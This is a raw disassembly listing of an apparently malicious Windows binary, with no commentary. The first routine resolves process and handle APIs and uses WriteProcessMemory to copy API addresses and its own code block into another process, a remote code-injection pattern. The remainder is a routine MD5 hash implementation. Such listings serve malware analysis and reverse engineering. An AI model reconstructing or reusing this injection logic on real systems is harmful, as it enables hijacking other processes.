		push	offset dword_4248E0
		push	offset dword_4248E0
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindclose ; "FindClose"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248E4, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248E4
		push	offset dword_4248E4
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248E8, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248E8
		push	offset dword_4248E8
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248EC, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248EC
		push	offset dword_4248EC
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aExitprocess ; "ExitProcess"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248F0, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248F0
		push	offset dword_4248F0
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aOpenprocess ; "OpenProcess"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248F4, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248F4
		push	offset dword_4248F4
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSleep	; "Sleep"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248F8, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248F8
		push	offset dword_4248F8
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aClosehandle ; "CloseHandle"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248FC, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248FC
		push	offset dword_4248FC
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		mov	eax, offset sub_41AB6D
		sub	eax, offset sub_41AA23
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_1C]
		push	offset sub_41AA23
		push	offset sub_41AA23
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+28h]
		mov	[ebp+var_18], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	20h
		push	offset sub_41AB72
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		pop	edi
		pop	esi
		leave
		retn
sub_41AB84	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE88	proc near		; CODE XREF: _3:00412EECp
		push	esi
		mov	esi, ecx
		call	sub_41B0A1
		mov	eax, esi
		pop	esi
		retn
sub_41AE88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE94	proc near		; CODE XREF: _3:0041B05Fp _3:0041B06Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+68h], 0
		jnz	loc_41AF48
		mov	edx, [ebx+10h]
		mov	ecx, [ebp+arg_4]
		push	esi
		mov	eax, edx
		mov	esi, ecx
		lea	edx, [edx+ecx*8]
		shr	eax, 3
		shl	esi, 3
		and	eax, 3Fh
		cmp	edx, esi
		push	edi
		mov	[ebx+10h], edx
		jnb	short loc_41AEC7
		inc	dword ptr [ebx+14h]


loc_41AEC7:				; CODE XREF: sub_41AE94+2Ej
		mov	edx, ecx
		push	40h
		shr	edx, 1Dh
		add	[ebx+14h], edx
		pop	edx
		sub	edx, eax
		cmp	ecx, edx
		mov	[ebp+var_4], edx
		jb	short loc_41AF2B
		mov	esi, [ebp+arg_0]
		mov	ecx, edx
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+18h]
		and	ecx, 3
		push	eax
		rep movsb
		mov	ecx, ebx
		call	sub_41B0C8
		mov	esi, [ebp+var_4]
		lea	eax, [esi+3Fh]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41AF24
		mov	edi, eax


loc_41AF0A:				; CODE XREF: sub_41AE94+8Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		lea	eax, [eax+edi-3Fh]
		push	eax
		call	sub_41B0C8
		add	edi, 40h
		add	esi, 40h
		cmp	edi, [ebp+arg_4]
		jb	short loc_41AF0A


loc_41AF24:				; CODE XREF: sub_41AE94+72j
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		jmp	short loc_41AF2D
; ---------------------------------------------------------------------------


loc_41AF2B:				; CODE XREF: sub_41AE94+45j
		xor	esi, esi


loc_41AF2D:				; CODE XREF: sub_41AE94+95j
		mov	edx, [ebp+arg_0]
		sub	ecx, esi
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		add	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi


loc_41AF48:				; CODE XREF: sub_41AE94+Bj
		pop	ebx
		leave
		retn	8
sub_41AE94	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		mov	[ebp-4], esi
		cmp	[esi+68h], bl
		mov	byte ptr [ebp-4Ch], 80h
		mov	[ebp-4Bh], bl
		mov	[ebp-4Ah], bl
		mov	[ebp-49h], bl
		mov	[ebp-48h], bl
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	[ebp-45h], bl
		mov	[ebp-44h], bl
		mov	[ebp-43h], bl
		mov	[ebp-42h], bl
		mov	[ebp-41h], bl
		mov	[ebp-40h], bl
		mov	[ebp-3Fh], bl
		mov	[ebp-3Eh], bl
		mov	[ebp-3Dh], bl
		mov	[ebp-3Ch], bl
		mov	[ebp-3Bh], bl
		mov	[ebp-3Ah], bl
		mov	[ebp-39h], bl
		mov	[ebp-38h], bl
		mov	[ebp-37h], bl
		mov	[ebp-36h], bl
		mov	[ebp-35h], bl
		mov	[ebp-34h], bl
		mov	[ebp-33h], bl
		mov	[ebp-32h], bl
		mov	[ebp-31h], bl
		mov	[ebp-30h], bl
		mov	[ebp-2Fh], bl
		mov	[ebp-2Eh], bl
		mov	[ebp-2Dh], bl
		mov	[ebp-2Ch], bl
		mov	[ebp-2Bh], bl
		mov	[ebp-2Ah], bl
		mov	[ebp-29h], bl
		mov	[ebp-28h], bl
		mov	[ebp-27h], bl
		mov	[ebp-26h], bl
		mov	[ebp-25h], bl
		mov	[ebp-24h], bl
		mov	[ebp-23h], bl
		mov	[ebp-22h], bl
		mov	[ebp-21h], bl
		mov	[ebp-20h], bl
		mov	[ebp-1Fh], bl
		mov	[ebp-1Eh], bl
		mov	[ebp-1Dh], bl
		mov	[ebp-1Ch], bl
		mov	[ebp-1Bh], bl
		mov	[ebp-1Ah], bl
		mov	[ebp-19h], bl
		mov	[ebp-18h], bl
		mov	[ebp-17h], bl
		mov	[ebp-16h], bl
		mov	[ebp-15h], bl
		mov	[ebp-14h], bl
		mov	[ebp-13h], bl
		mov	[ebp-12h], bl
		mov	[ebp-11h], bl
		mov	[ebp-10h], bl
		mov	[ebp-0Fh], bl
		mov	[ebp-0Eh], bl
		mov	[ebp-0Dh], bl
		jz	short loc_41B033
		mov	edi, [ebp+8]
		cmp	edi, ebx
		jz	short loc_41B09A
		add	esi, 58h
		movsd
		movsd
		movsd
		movsd
		jmp	short loc_41B09A
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: _3:0041B021j
		lea	edi, [esi+10h]
		push	8
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_41B9A3
		mov	eax, [edi]
		push	38h
		shr	eax, 3
		and	eax, 3Fh
		pop	ecx
		cmp	eax, ecx
		jb	short loc_41B056
		push	78h
		pop	ecx


loc_41B056:				; CODE XREF: _3:0041B051j
		sub	ecx, eax
		lea	eax, [ebp-4Ch]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_41AE94
		lea	eax, [ebp-0Ch]
		push	8
		push	eax
		mov	ecx, esi
		call	sub_41AE94
		lea	edi, [esi+58h]
		push	10h
		push	esi
		push	edi
		mov	ecx, esi
		call	sub_41B9A3
		cmp	[ebp+8], ebx
		jz	short loc_41B090
		mov	esi, edi
		mov	edi, [ebp+8]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp-4]


loc_41B090:				; CODE XREF: _3:0041B082j
		xor	eax, eax
		lea	edi, [esi+18h]
		stosb
		mov	byte ptr [esi+68h], 1


loc_41B09A:				; CODE XREF: _3:0041B028j _3:0041B031j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41B0A1	proc near		; CODE XREF: sub_41AE88+3p
		xor	eax, eax
		mov	dword ptr [ecx], 67452301h
		mov	[ecx+68h], al
		mov	[ecx+10h], eax
		mov	[ecx+14h], eax
		mov	dword ptr [ecx+4], 0EFCDAB89h
		mov	dword ptr [ecx+8], 98BADCFEh
		mov	dword ptr [ecx+0Ch], 10325476h
		retn
sub_41B0A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0C8	proc near		; CODE XREF: sub_41AE94+64p
					; sub_41AE94+80p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		push	40h
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	[ebp+var_8], eax
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41B9EA
		mov	edi, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	eax, edi
		mov	ecx, ebx
		not	eax
		and	eax, [ebp+var_10]
		and	ecx, edi
		mov	edx, edi
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		add	eax, [ebp+var_50]
		lea	ecx, [ecx+eax-28955B88h]
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [ebp+var_10]
		add	ecx, [ebp+var_4C]
		lea	edx, [edx+ecx-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		not	edx
		and	edx, edi
		mov	edi, ecx
		and	edi, eax
		or	edx, edi
		add	edx, [ebp+var_48]
		lea	edx, [ebx+edx+242070DBh]
		mov	ebx, ecx
		mov	edi, edx
		shr	edi, 0Fh
		shl	edx, 11h
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_C], edi
		or	edx, ebx
		mov	ebx, [ebp+var_8]
		add	edx, [ebp+var_44]
		lea	ebx, [ebx+edx-3E423112h]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_40]
		lea	eax, [eax+ebx-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		mov	eax, edx
		add	edi, edx
		mov	[ebp+var_4], edi
		and	eax, [ebp+var_4]
		not	edi
		and	edi, [ebp+var_C]
		or	edi, eax
		add	edi, [ebp+var_3C]
		lea	ecx, [ecx+edi+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, [ebp+var_4]
		mov	ecx, eax
		mov	edi, eax
		and	edi, [ebp+var_4]
		mov	ebx, eax
		not	ecx
		and	ecx, edx
		or	ecx, edi
		mov	edi, [ebp+var_C]
		add	ecx, [ebp+var_38]
		lea	edi, [edi+ecx-57CFB9EDh]
		mov	ecx, edi
		shr	ecx, 0Fh
		shl	edi, 11h
		or	ecx, edi
		add	ecx, eax
		mov	edi, ecx
		and	ebx, ecx
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-2B96AFFh]
		mov	edi, edx
		shl	edi, 16h
		shr	edx, 0Ah
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_8], edi
		or	edx, ebx
		mov	ebx, [ebp+var_4]
		add	edx, [ebp+var_30]
		lea	ebx, [ebx+edx+698098D8h]
		mov	edx, ebx
		shr	edx, 19h
		shl	ebx, 7
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_2C]
		lea	eax, [eax+ebx-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		mov	ebx, edi
		not	eax
		and	eax, [ebp+var_8]
		and	ebx, edx
		or	eax, ebx
		add	eax, [ebp+var_28]
		lea	ecx, [ecx+eax-0A44Fh]
		mov	ebx, ecx
		shr	ebx, 0Fh
		shl	ecx, 11h
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, edi
		mov	eax, ebx
		and	ecx, ebx
		not	eax
		and	eax, edx
		mov	[ebp+var_C], ebx
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax-76A32842h]
		mov	eax, ecx
		shl	eax, 16h
		shr	ecx, 0Ah
		or	eax, ecx
		add	eax, ebx
		mov	ecx, eax
		and	ebx, eax
		not	ecx
		and	ecx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_20]
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		mov	edx, eax
		add	ecx, eax
		mov	[ebp+var_4], ecx
		and	edx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	ecx, edx
		add	ecx, [ebp+var_1C]
		lea	edi, [edi+ecx-2678E6Dh]
		mov	ecx, edi
		shr	ecx, 14h
		shl	edi, 0Ch
		or	ecx, edi
		add	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		mov	edi, ecx
		not	[ebp+arg_0]
		mov	edx, [ebp+arg_0]
		and	edi, [ebp+var_4]
		and	edx, eax
		mov	ebx, ecx
		or	edx, edi
		mov	edi, [ebp+var_C]
		add	edx, [ebp+var_18]
		lea	edi, [edi+edx-5986BC72h]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	[ebp+var_10], edx
		and	ebx, edx
		not	[ebp+var_10]
		mov	edi, [ebp+var_10]
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_14]
		lea	eax, [eax+edi+49B40821h]
		mov	edi, eax
		shl	edi, 16h
		shr	eax, 0Ah
		or	edi, eax
		mov	eax, [ebp+arg_0]
		add	edi, edx
		and	eax, edx
		and	ebx, edi
		or	eax, ebx
		mov	ebx, [ebp+var_4]
		add	eax, [ebp+var_4C]
		lea	eax, [ebx+eax-9E1DA9Eh]
		mov	ebx, eax
		shr	ebx, 1Bh
		shl	eax, 5
		or	ebx, eax
		mov	eax, [ebp+var_10]
		and	eax, edi
		add	ebx, edi
		mov	[ebp+arg_0], eax
		mov	eax, edx
		and	eax, ebx
		mov	[ebp+var_4], ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		or	eax, ebx
		add	eax, [ebp+var_38]
		lea	ecx, [ecx+eax-3FBF4CC0h]
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		mov	ecx, edi
		add	eax, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_4]
		mov	ebx, eax
		and	ebx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_24]
		lea	edx, [edx+ecx+265E5A51h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		and	ecx, [ebp+var_4]
		not	edx
		and	edx, eax
		mov	ebx, [ebp+var_C]
		or	edx, ecx
		add	edx, [ebp+var_50]
		lea	edi, [edi+edx-16493856h]
		mov	edx, eax
		mov	ecx, edi
		shl	ecx, 14h
		shr	edi, 0Ch
		or	ecx, edi
		mov	edi, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	edi, ecx
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_3C]
		lea	edx, [edi+edx-29D0EFA3h]
		mov	edi, edx
		shr	edi, 1Bh
		shl	edx, 5
		or	edi, edx
		mov	edx, ebx
		add	edi, ecx
		mov	[ebp+var_4], edi
		mov	edi, ebx
		and	edi, [ebp+var_4]
		not	edx
		and	edx, ecx
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	eax, [eax+edx+2441453h]
		mov	edx, eax
		shr	edx, 17h
		shl	eax, 9
		or	edx, eax
		mov	eax, ecx
		add	edx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_4]
		mov	edi, edx
		and	edi, ecx
		or	eax, edi
		add	eax, [ebp+var_14]
		lea	edi, [ebx+eax-275E197Fh]
		mov	eax, edi
		shr	eax, 12h
		shl	edi, 0Eh
		or	eax, edi
		mov	edi, [ebp+var_4]
		add	eax, edx
		mov	ebx, eax
		and	ebx, [ebp+var_4]
		not	edi
		and	edi, edx
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_40]
		lea	ecx, [ecx+edi-182C0438h]
		mov	edi, ecx
		shl	edi, 14h
		shr	ecx, 0Ch
		or	edi, ecx
		mov	ecx, edx
		add	edi, eax
		not	ecx
		and	ecx, eax
		and	ebx, edi
		or	ecx, ebx
		mov	ebx, [ebp+var_4]
		add	ecx, [ebp+var_2C]
		mov	[ebp+var_8], edi
		lea	ebx, [ebx+ecx+21E1CDE6h]
		mov	ecx, ebx
		shr	ecx, 1Bh
		shl	ebx, 5
		or	ecx, ebx
		mov	ebx, eax
		not	ebx
		add	ecx, edi
		and	ebx, edi
		mov	edi, eax
		and	edi, ecx
		or	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-3CC8F82Ah]
		mov	edi, edx
		shr	edi, 17h
		shl	edx, 9
		or	edi, edx
		mov	edx, [ebp+var_8]
		add	edi, ecx
		mov	ebx, edi
		and	ebx, [ebp+var_8]
		not	edx
		and	edx, ecx
		or	edx, ebx
		add	edx, [ebp+var_44]
		lea	eax, [eax+edx-0B2AF279h]
		mov	edx, eax
		shr	edx, 12h
		shl	eax, 0Eh
		or	edx, eax
		mov	eax, ecx
		add	edx, edi
		not	eax
		mov	ebx, edx
		and	eax, edi
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [ebp+var_8]
		add	eax, [ebp+var_30]
		lea	eax, [ebx+eax+455A14EDh]
		mov	ebx, eax
		shl	ebx, 14h
		shr	eax, 0Ch
		or	ebx, eax
		mov	eax, edi
		add	ebx, edx
		mov	[ebp+var_8], ebx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, [ebp+var_8]
		or	eax, ebx
		add	eax, [ebp+var_1C]
		lea	ecx, [ecx+eax-561C16FBh]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, edx
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		and	ecx, [ebp+var_4]
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_8]
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_48]
		not	ecx
		and	ecx, ebx
		lea	edi, [edi+eax-3105C08h]
		mov	eax, edi
		shr	eax, 17h
		shl	edi, 9
		or	eax, edi
		add	eax, ebx
		mov	edi, eax
		and	edi, [ebp+var_8]
		or	ecx, edi
		add	ecx, [ebp+var_34]
		lea	edx, [edx+ecx+676F02D9h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, ebx
		add	ecx, eax
		not	edx
		mov	edi, ecx
		and	edx, eax
		and	edi, ebx
		or	edx, edi
		mov	edi, [ebp+var_8]
		add	edx, [ebp+var_20]
		lea	edi, [edi+edx-72D5B376h]
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		xor	edi, ecx
		xor	edi, edx
		add	edi, [ebp+var_3C]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		xor	ebx, edx
		xor	ebx, edi
		add	ebx, [ebp+var_30]
		lea	eax, [eax+ebx-788E097Fh]
		mov	ebx, eax
		shr	ebx, 15h
		shl	eax, 0Bh
		or	ebx, eax
		add	ebx, edi
		mov	eax, ebx
		xor	eax, edx
		xor	eax, edi
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax+6D9D6122h]
		mov	eax, ecx
		shr	eax, 10h
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, ebx
		add	eax, ebx
		xor	ecx, eax
		mov	[ebp+var_C], eax
		mov	eax, ecx
		xor	eax, edi
		add	eax, [ebp+var_18]
		lea	edx, [edx+eax-21AC7F4h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		add	eax, [ebp+var_C]
		xor	ecx, eax
		add	ecx, [ebp+var_4C]
		lea	edi, [edi+ecx-5B4115BCh]
		mov	ecx, edi
		shr	ecx, 1Ch
		shl	edi, 4
		or	ecx, edi
		mov	edi, [ebp+var_C]
		mov	edx, edi
		add	ecx, eax
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	ebx, [ebx+edx+4BDECFA9h]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		mov	[ebp+arg_0], edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_34]
		lea	ebx, [edi+ebx-944B4A0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, edx
		xor	[ebp+arg_0], edi
		mov	ebx, [ebp+arg_0]
		xor	ebx, ecx
		add	ebx, [ebp+var_28]
		lea	ebx, [eax+ebx-41404390h]
		mov	eax, ebx
		shl	eax, 17h
		shr	ebx, 9
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx+289B7EC6h]
		mov	ecx, ebx
		shr	ecx, 1Ch
		shl	ebx, 4
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_50]
		lea	edx, [edx+ebx-155ED806h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, ecx
		mov	edx, ebx
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_44]
		lea	edx, [edi+edx-2B10CF7Bh]
		mov	edi, edx
		shr	edi, 10h
		shl	edx, 10h
		or	edi, edx
		mov	[ebp+arg_0], ebx
		add	edi, ebx
		xor	[ebp+arg_0], edi
		mov	edx, [ebp+arg_0]
		xor	edx, ecx
		add	edx, [ebp+var_38]
		lea	edx, [eax+edx+4881D05h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_2C]
		lea	edx, [ecx+edx-262B2FC7h]
		mov	ecx, edx
		shr	ecx, 1Ch
		shl	edx, 4
		or	ecx, edx
		mov	edx, edi
		xor	edx, eax
		add	ecx, eax
		xor	edx, ecx
		add	edx, [ebp+var_20]
		lea	ebx, [ebx+edx-1924661Bh]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_14]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_48]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shl	ebx, 17h
		shr	eax, 9
		or	ebx, eax
		mov	eax, edx
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_50]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [ebp+var_34]
		lea	eax, [edx+eax+432AFF97h]
		mov	edx, eax
		shr	edx, 16h
		shl	eax, 0Ah
		or	edx, eax
		mov	eax, ebx
		add	edx, ecx
		not	eax
		or	eax, edx
		xor	eax, ecx
		add	eax, [ebp+var_18]
		lea	eax, [edi+eax-546BDC59h]
		mov	edi, eax
		shr	edi, 11h
		shl	eax, 0Fh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		push	85845DD1h
		not	eax
		or	eax, edi
		push	15h
		xor	eax, edx
		push	[ebp+var_4C]
		add	eax, [ebp+var_3C]
		lea	ebx, [ebx+eax-36C5FC7h]
		mov	eax, ebx
		shl	eax, 15h
		shr	ebx, 0Bh
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		not	ebx
		or	ebx, eax
		mov	[ebp+var_8], eax
		xor	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		not	ecx
		or	ecx, ebx
		push	ebx
		xor	ecx, eax
		mov	[ebp+var_4], ebx
		add	ecx, [ebp+var_44]
		not	eax
		lea	edx, [edx+ecx-70F3336Eh]
		mov	ecx, edx
		shr	ecx, 16h
		shl	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		or	eax, ecx
		push	ecx
		xor	eax, ebx
		mov	[ebp+var_10], ecx
		add	eax, [ebp+var_28]
		lea	eax, [edi+eax-100B83h]
		mov	edx, eax
		shr	edx, 11h
		shl	eax, 0Fh
		or	edx, eax
		lea	eax, [ebp+var_8]
		add	edx, ecx
		push	edx
		push	eax
		mov	[ebp+var_C], edx
		call	sub_41B970
		push	6FA87E4Fh
		push	6
		push	[ebp+var_30]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_41B970
		push	0FE2CE6E0h
		push	0Ah
		push	[ebp+var_14]
		lea	eax, [ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_41B970
		add	esp, 54h
		push	0A3014314h
		push	0Fh
		push	[ebp+var_38]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_41B970
		push	4E0811A1h
		push	15h
		push	[ebp+var_1C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_41B970
		push	0F7537E82h
		push	6
		push	[ebp+var_40]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_41B970
		add	esp, 54h
		lea	eax, [ebp+var_10]
